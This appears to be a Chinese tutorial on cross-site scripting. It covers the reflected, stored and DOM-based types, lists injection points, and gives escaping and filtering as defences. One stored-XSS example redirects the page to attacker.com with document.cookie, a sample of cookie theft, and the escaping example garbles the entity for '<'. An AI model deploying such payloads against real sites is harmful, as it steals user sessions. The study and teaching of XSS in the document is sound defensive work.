XSS(Cross-site scripting) 跨站脚本攻击,为了与CSS区别开来,所以称为 XSS,是一种网站应用程序的安全漏洞攻击。
XSS攻击的原理是,攻击者利用网页开发时留下的漏洞,通过巧妙的方法将恶意代码指令注入到网页,使其执行,从而获取一些信息或者执行一些恶意操作!
XSS 类型
(1) 反射型 XSS
注入方式: 反射型 XSS 是通过将恶意脚本注入到URL参数或表单输入中,并在服务器返回响应时执行。攻击者通常通过诱导用户点击恶意链接或提交包含恶意脚本的表单来触发攻击。
如:
https://example.com/search?q=<script>alert('XSS')</script>
影响范围: 反射型 XSS 的影响范围通常是短期的,攻击者需要诱使用户在受影响的页面上进行特定的操作(例如点击恶意链接),才能触发攻击并执行恶意脚本。
攻击方式: 在反射型 XSS 中,攻击者的恶意脚本通常是通过URL参数或表单输入传递给服务器,服务器将其包含在HTTP响应中返回给用户的浏览器,浏览器解析并执行该脚本。
(2) 存储型 XSS
注入方式: 存储型 XSS 是将恶意脚本存储在服务器端的数据库或其他存储位置中,然后在其他用户访问相关页面时返回并执行。
如: 在评论中恶意写下一下代码:
<script>
window.location.href="https://attacker.com/log?key=" + document.cookie;
</script>
以上代码会被存储在服务器数据库中!
影响范围:存储型 XSS 的影响范围更广,攻击者将恶意脚本存储在服务器上,所有访问包含恶意脚本的页面的用户都有可能受到攻击。
攻击方式: 存储型 XSS 中,攻击者将恶意脚本存储在服务器的数据库或其他存储位置中,当其他用户访问相关页面时,服务器从存储中获取恶意脚本并返回给浏览器执行。
(3) DOM型 XSS
影响范围: DOM型 XSS 的影响范围是持久的,一旦恶意脚本被插入页面的DOM中并被解析执行,所有访问该页面的用户都有可能受到攻击。
攻击方式: 恶意脚本一般是通过修改DOM结构来触发,攻击者利用前端代码中直接操作DOM的漏洞来执行恶意脚本。
XSS 注入方法:
-
在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
-
在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
-
在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
-
在标签的 href、src 等属性中,包含
javascript:等可执行代码。 -
在 onload、onerror、onclick 等事件中,注入不受控制代码。
-
在 style 属性和标签中,包含类似
background-image:url("javascript:...");的代码(新版本浏览器已经可以防范)。 -
在 style 属性和标签中,包含类似
expression(...)的 CSS 表达式代码(新版本浏览器已经可以防范)。
XSS 预防
XSS 的两大要素:
- 攻击者提交恶意代码
- 浏览器执行恶意代码
针对恶意提交代码: 可以进行输入检查和过滤!
针对执行恶意代码: 可以对 HTML 进行转义,即
如: < 变为&It; > 变为>
那么 <script> 就会变为 &It; script > 进行显示,这样就不会作为脚本执行
那替换的操作谁来做比较合适呢?前后端都可以,最好是前后都做,安全性更高。